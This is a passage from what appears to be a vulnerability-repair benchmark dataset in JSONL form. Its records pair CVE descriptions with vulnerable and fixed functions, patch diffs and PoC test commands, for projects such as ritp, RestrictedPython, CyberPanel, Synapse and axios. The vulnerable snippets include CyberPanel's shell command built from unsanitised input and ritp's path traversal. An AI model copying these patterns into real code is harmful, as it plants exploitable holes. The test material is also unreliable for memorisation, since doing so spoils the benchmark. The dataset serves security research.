filepath.EvalSymlinks(target)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tif !strings.HasPrefix(trueTarget, dest) {\n+\t\t\t\treturn fmt.Errorf(\"hardlink %q -> %q outside destination\", target, hdr.Linkname)\n+\t\t\t}\n \t\t\tif !strings.HasPrefix(target, dest) {\n \t\t\t\treturn fmt.Errorf(\"invalid symlink %q -> %q\", path, hdr.Linkname)\n \t\t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16198", "cve_description": "ritp is a static web server. ritp is vulnerable to a directory traversal issue whereby an attacker can gain access to the file system by placing ../ in the URL. Access is restricted to files with a file extension, so files such as /etc/passwd are not accessible.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/hardog/ritp", "patch_url": ["https://github.com/hardog/ritp/commit/1eadc2746d0fb60d0050bad302b4081f802476e4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_19_1", "commit": "d2ba4b9", "file_path": "index.js", "start_line": "22", "end_line": "76", "snippet": "var main = function(req, res) {\n        var reqUrl = req.url; \n        //\\u8bb0\\u5f55\\u8bf7\\u6c42\\u4fe1\\u606f\n        logger.http(req, res);\n        \n        //\\u4f7f\\u7528url\\u89e3\\u6790\\u6a21\\u5757\\u83b7\\u53d6url\\u4e2d\\u7684\\u8def\\u5f84\\u540d \n        var pathName = url.parse(reqUrl).pathname;\n\n        //\\u8865\\u5168\\u6587\\u4ef6\\u8def\\u5f84\n        if (path.extname(pathName) == \"\") {\n\n            if(!/\\/$/.test(pathName)){\n                pathName += '/';\n            }\n\n            pathName += argvs.getDefault();\n        }\n\n        //\\u4f7f\\u7528\\u8def\\u5f84\\u89e3\\u6790\\u6a21\\u5757,\\u7ec4\\u88c5\\u5b9e\\u9645\\u6587\\u4ef6\\u8def\\u5f84 \n        var filePath = path.join(argvs.getPath(), pathName);\n\n        //\\u5224\\u65ad\\u6587\\u4ef6\\u662f\\u5426\\u5b58\\u5728 \n        fs.exists(filePath, function(exists) {\n            try{\n                if (exists) {\n                    //\\u5728\\u8fd4\\u56de\\u5934\\u4e2d\\u5199\\u5165\\u5185\\u5bb9\\u7c7b\\u578b \n                    res.writeHead(200, {\n                        \"Content-Type\": mime.lookup(filePath)\n                    });\n\n                    //\\u521b\\u5efa\\u53ea\\u8bfb\\u6d41\\u7528\\u4e8e\\u8fd4\\u56de \n                    var stream = fs.createReadStream(filePath, {\n                        flags: \"r\",\n                        encoding: null\n                    });\n\n                    //\\u6307\\u5b9a\\u5982\\u679c\\u6d41\\u8bfb\\u53d6\\u9519\\u8bef,\\u8fd4\\u56de404\\u9519\\u8bef \n                    stream.on(\"error\", function() {\n                        res.writeHead(404);\n                        res.end('<h1>500 the file [path=' + filePath +'] Read Error!</h1>');\n                    });\n                    //\\u8fde\\u63a5\\u6587\\u4ef6\\u6d41\\u548chttp\\u8fd4\\u56de\\u6d41\\u7684\\u7ba1\\u9053,\\u7528\\u4e8e\\u8fd4\\u56de\\u5b9e\\u9645Web\\u5185\\u5bb9 \n                    stream.pipe(res);\n                } else {\n                    //\\u8fd4\\u56de404\\u9519\\u8bef \n                    res.writeHead(404, {\n                        \"Content-Type\": \"text/html\"\n                    });\n                    res.end('<h1>404 Not Found file [path=' + filePath + ']</h1>');\n                }\n            }catch(e){\n                logger.error('read file from [' + filePath + '] error!');\n            }\n        });\n    }"}], "fix_func": [{"id": "fix_js_19_1", "commit": "1eadc2746d0fb60d0050bad302b4081f802476e4", "file_path": "index.js", "start_line": 22, "end_line": 76, "snippet": "var main = function(req, res) {\n        var reqUrl = req.url.replace(/(\\.\\.\\/?)/g, '');\n        //\\u8bb0\\u5f55\\u8bf7\\u6c42\\u4fe1\\u606f\n        logger.http(req, res);\n        \n        //\\u4f7f\\u7528url\\u89e3\\u6790\\u6a21\\u5757\\u83b7\\u53d6url\\u4e2d\\u7684\\u8def\\u5f84\\u540d \n        var pathName = url.parse(reqUrl).pathname;\n\n        //\\u8865\\u5168\\u6587\\u4ef6\\u8def\\u5f84\n        if (path.extname(pathName) == \"\") {\n\n            if(!/\\/$/.test(pathName)){\n                pathName += '/';\n            }\n\n            pathName += argvs.getDefault();\n        }\n\n        //\\u4f7f\\u7528\\u8def\\u5f84\\u89e3\\u6790\\u6a21\\u5757,\\u7ec4\\u88c5\\u5b9e\\u9645\\u6587\\u4ef6\\u8def\\u5f84 \n        var filePath = path.join(argvs.getPath(), pathName);\n\n        //\\u5224\\u65ad\\u6587\\u4ef6\\u662f\\u5426\\u5b58\\u5728 \n        fs.exists(filePath, function(exists) {\n            try{\n                if (exists) {\n                    //\\u5728\\u8fd4\\u56de\\u5934\\u4e2d\\u5199\\u5165\\u5185\\u5bb9\\u7c7b\\u578b \n                    res.writeHead(200, {\n                        \"Content-Type\": mime.lookup(filePath)\n                    });\n\n                    //\\u521b\\u5efa\\u53ea\\u8bfb\\u6d41\\u7528\\u4e8e\\u8fd4\\u56de \n                    var stream = fs.createReadStream(filePath, {\n                        flags: \"r\",\n                        encoding: null\n                    });\n\n                    //\\u6307\\u5b9a\\u5982\\u679c\\u6d41\\u8bfb\\u53d6\\u9519\\u8bef,\\u8fd4\\u56de404\\u9519\\u8bef \n                    stream.on(\"error\", function() {\n                        res.writeHead(404);\n                        res.end('<h1>500 the file [path=' + filePath +'] Read Error!</h1>');\n                    });\n                    //\\u8fde\\u63a5\\u6587\\u4ef6\\u6d41\\u548chttp\\u8fd4\\u56de\\u6d41\\u7684\\u7ba1\\u9053,\\u7528\\u4e8e\\u8fd4\\u56de\\u5b9e\\u9645Web\\u5185\\u5bb9 \n                    stream.pipe(res);\n                } else {\n                    //\\u8fd4\\u56de404\\u9519\\u8bef \n                    res.writeHead(404, {\n                        \"Content-Type\": \"text/html\"\n                    });\n                    res.end('<h1>404 Not Found file [path=' + filePath + ']</h1>');\n                }\n            }catch(e){\n                logger.error('read file from [' + filePath + '] error!');\n            }\n        });\n    }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,5 @@\n var main = function(req, res) {\n-        var reqUrl = req.url; \n+        var reqUrl = req.url.replace(/(\\.\\.\\/?)/g, '');\n         //\\u8bb0\\u5f55\\u8bf7\\u6c42\\u4fe1\\u606f\n         logger.http(req, res);\n         \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16198:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ritp\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-41039", "cve_description": "RestrictedPython is a restricted execution environment for Python to run untrusted code. Python's \"format\" functionality allows someone controlling the format string to \"read\" all objects accessible through recursive attribute lookup and subscription from objects he can access. This can lead to critical information disclosure. With `RestrictedPython`, the format functionality is available via the `format` and `format_map` methods of `str` (and `unicode`) (accessed either via the class or its instances) and via `string.Formatter`. All known versions of `RestrictedPython` are vulnerable. This issue has been addressed in commit `4134aedcff1` which has been included in the 5.4 and 6.2 releases. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\n", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/zopefoundation/RestrictedPython", "patch_url": ["https://github.com/zopefoundation/RestrictedPython/commit/4134aedcff17c977da7717693ed89ce56d54c120"], "programing_language": "Python", "vul_func": [{"id": "vul_py_64_1", "commit": "41a183d", "file_path": "src/RestrictedPython/Guards.py", "start_line": 242, "end_line": 257, "snippet": "def safer_getattr(object, name, default=None, getattr=getattr):\n    \"\"\"Getattr implementation which prevents using format on string objects.\n\n    format() is considered harmful:\n    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/\n\n    \"\"\"\n    if isinstance(object, str) and name == 'format':\n        raise NotImplementedError(\n            'Using format() on a %s is not safe.' % object.__class__.__name__)\n    if name.startswith('_'):\n        raise AttributeError(\n            '\"{name}\" is an invalid attribute name because it '\n            'starts with \"_\"'.format(name=name)\n        )\n    return getattr(object, name, default)"}, {"id": "vul_py_64_2", "commit": "41a183d", "file_path": "src/RestrictedPython/Utilities.py", "start_line": 21, "end_line": 21, "snippet": "utility_builtins['string'] = string"}], "fix_func": [{"id": "fix_py_64_1", "commit": "4134aedcff17c977da7717693ed89ce56d54c120", "file_path": "src/RestrictedPython/Guards.py", "start_line": 242, "end_line": 259, "snippet": "def safer_getattr(object, name, default=None, getattr=getattr):\n    \"\"\"Getattr implementation which prevents using format on string objects.\n\n    format() is considered harmful:\n    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/\n\n    \"\"\"\n    if name in ('format', 'format_map') and (\n            isinstance(object, str) or\n            (isinstance(object, type) and issubclass(object, str))):\n        raise NotImplementedError(\n            'Using the format*() methods of `str` is not safe')\n    if name.startswith('_'):\n        raise AttributeError(\n            '\"{name}\" is an invalid attribute name because it '\n            'starts with \"_\"'.format(name=name)\n        )\n    return getattr(object, name, default)"}, {"id": "fix_py_64_2", "commit": "4134aedcff17c977da7717693ed89ce56d54c120", "file_path": "src/RestrictedPython/Utilities.py", "start_line": 21, "end_line": 35, "snippet": "\nclass _AttributeDelegator:\n    def __init__(self, mod, *excludes):\n        \"\"\"delegate attribute lookups outside *excludes* to module *mod*.\"\"\"\n        self.__mod = mod\n        self.__excludes = excludes\n\n    def __getattr__(self, attr):\n        if attr in self.__excludes:\n            raise NotImplementedError(\n                f\"{self.__mod.__name__}.{attr} is not safe\")\n        return getattr(self.__mod, attr)\n\n\nutility_builtins['string'] = _AttributeDelegator(string, \"Formatter\")"}], "vul_patch": "--- a/src/RestrictedPython/Guards.py\n+++ b/src/RestrictedPython/Guards.py\n@@ -5,9 +5,11 @@\n     http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/\n \n     \"\"\"\n-    if isinstance(object, str) and name == 'format':\n+    if name in ('format', 'format_map') and (\n+            isinstance(object, str) or\n+            (isinstance(object, type) and issubclass(object, str))):\n         raise NotImplementedError(\n-            'Using format() on a %s is not safe.' % object.__class__.__name__)\n+            'Using the format*() methods of `str` is not safe')\n     if name.startswith('_'):\n         raise AttributeError(\n             '\"{name}\" is an invalid attribute name because it '\n\n--- a/src/RestrictedPython/Utilities.py\n+++ b/src/RestrictedPython/Utilities.py\n@@ -1 +1,15 @@\n-utility_builtins['string'] = string\n+\n+class _AttributeDelegator:\n+    def __init__(self, mod, *excludes):\n+        \"\"\"delegate attribute lookups outside *excludes* to module *mod*.\"\"\"\n+        self.__mod = mod\n+        self.__excludes = excludes\n+\n+    def __getattr__(self, attr):\n+        if attr in self.__excludes:\n+            raise NotImplementedError(\n+                f\"{self.__mod.__name__}.{attr} is not safe\")\n+        return getattr(self.__mod, attr)\n+\n+\n+utility_builtins['string'] = _AttributeDelegator(string, \"Formatter\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-41039:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/RestrictedPython\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-41039/bin/python -m pytest tests/test_Guards.py::test_Guards__safer_getattr__1a tests/test_Guards.py::test_Guards__safer_getattr__1b tests/test_Guards.py::test_Guards__safer_getattr__1c tests/test_Guards.py::test_Guards__safer_getattr__1d tests/test_Utilities.py::test_Utilities_string_Formatter tests/builtins/test_utilities.py::test_string_in_utility_builtins -v --import-mode=importlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-41039:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/RestrictedPython\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-41039/bin/python -m pytest tests/test_Guards.py tests/test_Utilities.py tests/builtins/test_utilities.py -v -k \"not test_Guards__safer_getattr__1 and not test_Guards__safer_getattr__2 and not test_string_in_utility_builtins and not test_Guards__guarded_unpack_sequence__1\" --import-mode=importlib -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2024-51567", "cve_description": "upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.", "cwe_info": {"CWE-306": {"name": "Missing Authentication for Critical Function", "description": "The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources."}}, "repo": "https://github.com/usmannasir/cyberpanel", "patch_url": ["https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515"], "programing_language": "Python", "vul_func": [{"id": "vul_py_79_1", "commit": "fd05ec4", "file_path": "databases/views.py", "start_line": "504", "end_line": "541", "snippet": "def upgrademysqlstatus(request):\n    try:\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}], "fix_func": [{"id": "fix_py_79_1", "commit": "5b08cd6", "file_path": "databases/views.py", "start_line": "504", "end_line": "551", "snippet": "def upgrademysqlstatus(request):\n    try:\n\n        userID = request.session['userID']\n\n        currentACL = ACLManager.loadedACL(userID)\n\n        if currentACL['admin'] == 1:\n            pass\n        else:\n            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n\n        data = json.loads(request.body)\n        statusfile = data['statusfile']\n        installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n        if installStatus.find(\"[200]\") > -1:\n\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n\n            final_json = json.dumps({\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n                'abort': 1,\n                'installed': 1,\n            })\n            return HttpResponse(final_json)\n        elif installStatus.find(\"[404]\") > -1:\n            command = 'sudo rm -f ' + statusfile\n            ProcessUtilities.executioner(command)\n            final_json = json.dumps({\n                'abort': 1,\n                'installed': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n\n        else:\n            final_json = json.dumps({\n                'abort': 0,\n                'error_message': \"None\",\n                'requestStatus': installStatus,\n            })\n            return HttpResponse(final_json)\n    except KeyError:\n        return redirect(loadLoginPage)"}], "vul_patch": "--- a/databases/views.py\n+++ b/databases/views.py\n@@ -1,5 +1,15 @@\n def upgrademysqlstatus(request):\n     try:\n+\n+        userID = request.session['userID']\n+\n+        currentACL = ACLManager.loadedACL(userID)\n+\n+        if currentACL['admin'] == 1:\n+            pass\n+        else:\n+            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)\n+\n         data = json.loads(request.body)\n         statusfile = data['statusfile']\n         installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + statusfile)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-39163", "cve_description": "Matrix is an ecosystem for open federated Instant Messaging and Voice over IP. In versions 1.41.0 and prior, unauthorised users can access the name, avatar, topic and number of members of a room if they know the ID of the room. This vulnerability is limited to homeservers where the vulnerable homeserver is in the room and untrusted users are permitted to create groups (communities). By default, only homeserver administrators can create groups. However, homeserver administrators can already access this information in the database or using the admin API. As a result, only homeservers where the configuration setting `enable_group_creation` has been set to `true` are impacted. Server administrators should upgrade to 1.41.1 or higher to patch the vulnerability. There are two potential workarounds. Server administrators can set `enable_group_creation` to `false` in their homeserver configuration (this is the default value) to prevent creation of groups by non-administrators. Administrators that are using a reverse proxy could, with partial loss of group functionality, block the endpoints `/_matrix/client/r0/groups/{group_id}/rooms` and `/_matrix/client/unstable/groups/{group_id}/rooms`.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/matrix-org/synapse", "patch_url": ["https://github.com/matrix-org/synapse/commit/cb35df940a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_48_1", "commit": "52c7a51", "file_path": "synapse/groups/groups_server.py", "start_line": 321, "end_line": 357, "snippet": "    async def get_rooms_in_group(\n        self, group_id: str, requester_user_id: str\n    ) -> JsonDict:\n        \"\"\"Get the rooms in group as seen by requester_user_id\n\n        This returns rooms in order of decreasing number of joined users\n        \"\"\"\n\n        await self.check_group_is_ours(group_id, requester_user_id, and_exists=True)\n\n        is_user_in_group = await self.store.is_user_in_group(\n            requester_user_id, group_id\n        )\n\n        room_results = await self.store.get_rooms_in_group(\n            group_id, include_private=is_user_in_group\n        )\n\n        chunk = []\n        for room_result in room_results:\n            room_id = room_result[\"room_id\"]\n\n            joined_users = await self.store.get_users_in_room(room_id)\n            entry = await self.room_list_handler.generate_room_entry(\n                room_id, len(joined_users), with_alias=False, allow_private=True\n            )\n\n            if not entry:\n                continue\n\n            entry[\"is_public\"] = bool(room_result[\"is_public\"])\n\n            chunk.append(entry)\n\n        chunk.sort(key=lambda e: -e[\"num_joined_members\"])\n\n        return {\"chunk\": chunk, \"total_room_count_estimate\": len(room_results)}"}], "fix_func": [{"id": "fix_py_48_1", "commit": "cb35df940a828bc40b96daed997b5ad4c7842fd3", "file_path": "synapse/groups/groups_server.py", "start_line": 321, "end_line": 371, "snippet": "    async def get_rooms_in_group(\n        self, group_id: str, requester_user_id: str\n    ) -> JsonDict:\n        \"\"\"Get the rooms in group as seen by requester_user_id\n\n        This returns rooms in order of decreasing number of joined users\n        \"\"\"\n\n        await self.check_group_is_ours(group_id, requester_user_id, and_exists=True)\n\n        is_user_in_group = await self.store.is_user_in_group(\n            requester_user_id, group_id\n        )\n\n        # Note! room_results[\"is_public\"] is about whether the room is considered\n        # public from the group's point of view. (i.e. whether non-group members\n        # should be able to see the room is in the group).\n        # This is not the same as whether the room itself is public (in the sense\n        # of being visible in the room directory).\n        # As such, room_results[\"is_public\"] itself is not sufficient to determine\n        # whether any given user is permitted to see the room's metadata.\n        room_results = await self.store.get_rooms_in_group(\n            group_id, include_private=is_user_in_group\n        )\n\n        chunk = []\n        for room_result in room_results:\n            room_id = room_result[\"room_id\"]\n\n            joined_users = await self.store.get_users_in_room(room_id)\n\n            # check the user is actually allowed to see the room before showing it to them\n            allow_private = requester_user_id in joined_users\n\n            entry = await self.room_list_handler.generate_room_entry(\n                room_id,\n                len(joined_users),\n                with_alias=False,\n                allow_private=allow_private,\n            )\n\n            if not entry:\n                continue\n\n            entry[\"is_public\"] = bool(room_result[\"is_public\"])\n\n            chunk.append(entry)\n\n        chunk.sort(key=lambda e: -e[\"num_joined_members\"])\n\n        return {\"chunk\": chunk, \"total_room_count_estimate\": len(chunk)}"}], "vul_patch": "--- a/synapse/groups/groups_server.py\n+++ b/synapse/groups/groups_server.py\n@@ -12,6 +12,13 @@\n             requester_user_id, group_id\n         )\n \n+        # Note! room_results[\"is_public\"] is about whether the room is considered\n+        # public from the group's point of view. (i.e. whether non-group members\n+        # should be able to see the room is in the group).\n+        # This is not the same as whether the room itself is public (in the sense\n+        # of being visible in the room directory).\n+        # As such, room_results[\"is_public\"] itself is not sufficient to determine\n+        # whether any given user is permitted to see the room's metadata.\n         room_results = await self.store.get_rooms_in_group(\n             group_id, include_private=is_user_in_group\n         )\n@@ -21,8 +28,15 @@\n             room_id = room_result[\"room_id\"]\n \n             joined_users = await self.store.get_users_in_room(room_id)\n+\n+            # check the user is actually allowed to see the room before showing it to them\n+            allow_private = requester_user_id in joined_users\n+\n             entry = await self.room_list_handler.generate_room_entry(\n-                room_id, len(joined_users), with_alias=False, allow_private=True\n+                room_id,\n+                len(joined_users),\n+                with_alias=False,\n+                allow_private=allow_private,\n             )\n \n             if not entry:\n@@ -34,4 +48,4 @@\n \n         chunk.sort(key=lambda e: -e[\"num_joined_members\"])\n \n-        return {\"chunk\": chunk, \"total_room_count_estimate\": len(room_results)}\n+        return {\"chunk\": chunk, \"total_room_count_estimate\": len(chunk)}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-39163:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/synapse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-39163/bin/python -m pytest tests/rest/client/v2_alpha/test_groups.py -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-39163:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/synapse\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-39163/bin/python -m pytest tests/rest/client/v2_alpha/ --ignore=tests/rest/client/v2_alpha/test_relations.py  --ignore=tests/rest/client/v2_alpha/test_register.py"}
{"cve_id": "CVE-2020-28168", "cve_description": "Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/axios/axios", "patch_url": ["https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_158_1", "commit": "f472e5d", "file_path": "lib/adapters/http.js", "start_line": 20, "end_line": 287, "snippet": "module.exports = function httpAdapter(config) {\n  return new Promise(function dispatchHttpRequest(resolvePromise, rejectPromise) {\n    var resolve = function resolve(value) {\n      resolvePromise(value);\n    };\n    var reject = function reject(value) {\n      rejectPromise(value);\n    };\n    var data = config.data;\n    var headers = config.headers;\n\n    // Set User-Agent (required by some servers)\n    // Only set header if it hasn't been set in config\n    // See https://github.com/axios/axios/issues/69\n    if (!headers['User-Agent'] && !headers['user-agent']) {\n      headers['User-Agent'] = 'axios/' + pkg.version;\n    }\n\n    if (data && !utils.isStream(data)) {\n      if (Buffer.isBuffer(data)) {\n        // Nothing to do...\n      } else if (utils.isArrayBuffer(data)) {\n        data = Buffer.from(new Uint8Array(data));\n      } else if (utils.isString(data)) {\n        data = Buffer.from(data, 'utf-8');\n      } else {\n        return reject(createError(\n          'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream',\n          config\n        ));\n      }\n\n      // Add Content-Length header if data exists\n      headers['Content-Length'] = data.length;\n    }\n\n    // HTTP basic authentication\n    var auth = undefined;\n    if (config.auth) {\n      var username = config.auth.username || '';\n      var password = config.auth.password || '';\n      auth = username + ':' + password;\n    }\n\n    // Parse url\n    var fullPath = buildFullPath(config.baseURL, config.url);\n    var parsed = url.parse(fullPath);\n    var protocol = parsed.protocol || 'http:';\n\n    if (!auth && parsed.auth) {\n      var urlAuth = parsed.auth.split(':');\n      var urlUsername = urlAuth[0] || '';\n      var urlPassword = urlAuth[1] || '';\n      auth = urlUsername + ':' + urlPassword;\n    }\n\n    if (auth) {\n      delete headers.Authorization;\n    }\n\n    var isHttpsRequest = isHttps.test(protocol);\n    var agent = isHttpsRequest ? config.httpsAgent : config.httpAgent;\n\n    var options = {\n      path: buildURL(parsed.path, config.params, config.paramsSerializer).replace(/^\\?/, ''),\n      method: config.method.toUpperCase(),\n      headers: headers,\n      agent: agent,\n      agents: { http: config.httpAgent, https: config.httpsAgent },\n      auth: auth\n    };\n\n    if (config.socketPath) {\n      options.socketPath = config.socketPath;\n    } else {\n      options.hostname = parsed.hostname;\n      options.port = parsed.port;\n    }\n\n    var proxy = config.proxy;\n    if (!proxy && proxy !== false) {\n      var proxyEnv = protocol.slice(0, -1) + '_proxy';\n      var proxyUrl = process.env[proxyEnv] || process.env[proxyEnv.toUpperCase()];\n      if (proxyUrl) {\n        var parsedProxyUrl = url.parse(proxyUrl);\n        var noProxyEnv = process.env.no_proxy || process.env.NO_PROXY;\n        var shouldProxy = true;\n\n        if (noProxyEnv) {\n          var noProxy = noProxyEnv.split(',').map(function trim(s) {\n            return s.trim();\n          });\n\n          shouldProxy = !noProxy.some(function proxyMatch(proxyElement) {\n            if (!proxyElement) {\n              return false;\n            }\n            if (proxyElement === '*') {\n              return true;\n            }\n            if (proxyElement[0] === '.' &&\n                parsed.hostname.substr(parsed.hostname.length - proxyElement.length) === proxyElement) {\n              return true;\n            }\n\n            return parsed.hostname === proxyElement;\n          });\n        }\n\n\n        if (shouldProxy) {\n          proxy = {\n            host: parsedProxyUrl.hostname,\n            port: parsedProxyUrl.port\n          };\n\n          if (parsedProxyUrl.auth) {\n            var proxyUrlAuth = parsedProxyUrl.auth.split(':');\n            proxy.auth = {\n              username: proxyUrlAuth[0],\n              password: proxyUrlAuth[1]\n            };\n          }\n        }\n      }\n    }\n\n    if (proxy) {\n      options.hostname = proxy.host;\n      options.host = proxy.host;\n      options.headers.host = parsed.hostname + (parsed.port ? ':' + parsed.port : '');\n      options.port = proxy.port;\n      options.path = protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path;\n\n      // Basic proxy authorization\n      if (proxy.auth) {\n        var base64 = Buffer.from(proxy.auth.username + ':' + proxy.auth.password, 'utf8').toString('base64');\n        options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n      }\n    }\n\n    var transport;\n    var isHttpsProxy = isHttpsRequest && (proxy ? isHttps.test(proxy.protocol) : true);\n    if (config.transport) {\n      transport = config.transport;\n    } else if (config.maxRedirects === 0) {\n      transport = isHttpsProxy ? https : http;\n    } else {\n      if (config.maxRedirects) {\n        options.maxRedirects = config.maxRedirects;\n      }\n      transport = isHttpsProxy ? httpsFollow : httpFollow;\n    }\n\n    if (config.maxBodyLength > -1) {\n      options.maxBodyLength = config.maxBodyLength;\n    }\n\n    // Create the request\n    var req = transport.request(options, function handleResponse(res) {\n      if (req.aborted) return;\n\n      // uncompress the response body transparently if required\n      var stream = res;\n\n      // return the last request in case of redirects\n      var lastRequest = res.req || req;\n\n\n      // if no content, is HEAD request or decompress disabled we should not decompress\n      if (res.statusCode !== 204 && lastRequest.method !== 'HEAD' && config.decompress !== false) {\n        switch (res.headers['content-encoding']) {\n        /*eslint default-case:0*/\n        case 'gzip':\n        case 'compress':\n        case 'deflate':\n        // add the unzipper to the body stream processing pipeline\n          stream = stream.pipe(zlib.createUnzip());\n\n          // remove the content-encoding in order to not confuse downstream operations\n          delete res.headers['content-encoding'];\n          break;\n        }\n      }\n\n      var response = {\n        status: res.statusCode,\n        statusText: res.statusMessage,\n        headers: res.headers,\n        config: config,\n        request: lastRequest\n      };\n\n      if (config.responseType === 'stream') {\n        response.data = stream;\n        settle(resolve, reject, response);\n      } else {\n        var responseBuffer = [];\n        stream.on('data', function handleStreamData(chunk) {\n          responseBuffer.push(chunk);\n\n          // make sure the content length is not over the maxContentLength if specified\n          if (config.maxContentLength > -1 && Buffer.concat(responseBuffer).length > config.maxContentLength) {\n            stream.destroy();\n            reject(createError('maxContentLength size of ' + config.maxContentLength + ' exceeded',\n              config, null, lastRequest));\n          }\n        });\n\n        stream.on('error', function handleStreamError(err) {\n          if (req.aborted) return;\n          reject(enhanceError(err, config, null, lastRequest));\n        });\n\n        stream.on('end', function handleStreamEnd() {\n          var responseData = Buffer.concat(responseBuffer);\n          if (config.responseType !== 'arraybuffer') {\n            responseData = responseData.toString(config.responseEncoding);\n            if (!config.responseEncoding || config.responseEncoding === 'utf8') {\n              responseData = utils.stripBOM(responseData);\n            }\n          }\n\n          response.data = responseData;\n          settle(resolve, reject, response);\n        });\n      }\n    });\n\n    // Handle errors\n    req.on('error', function handleRequestError(err) {\n      if (req.aborted && err.code !== 'ERR_FR_TOO_MANY_REDIRECTS') return;\n      reject(enhanceError(err, config, null, req));\n    });\n\n    // Handle request timeout\n    if (config.timeout) {\n      // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system.\n      // And timer callback will be fired, and abort() will be invoked before connection, then get \"socket hang up\" and code ECONNRESET.\n      // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up.\n      // And then these socket which be hang up will devoring CPU little by little.\n      // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect.\n      req.setTimeout(config.timeout, function handleRequestTimeout() {\n        req.abort();\n        reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED', req));\n      });\n    }\n\n    if (config.cancelToken) {\n      // Handle cancellation\n      config.cancelToken.promise.then(function 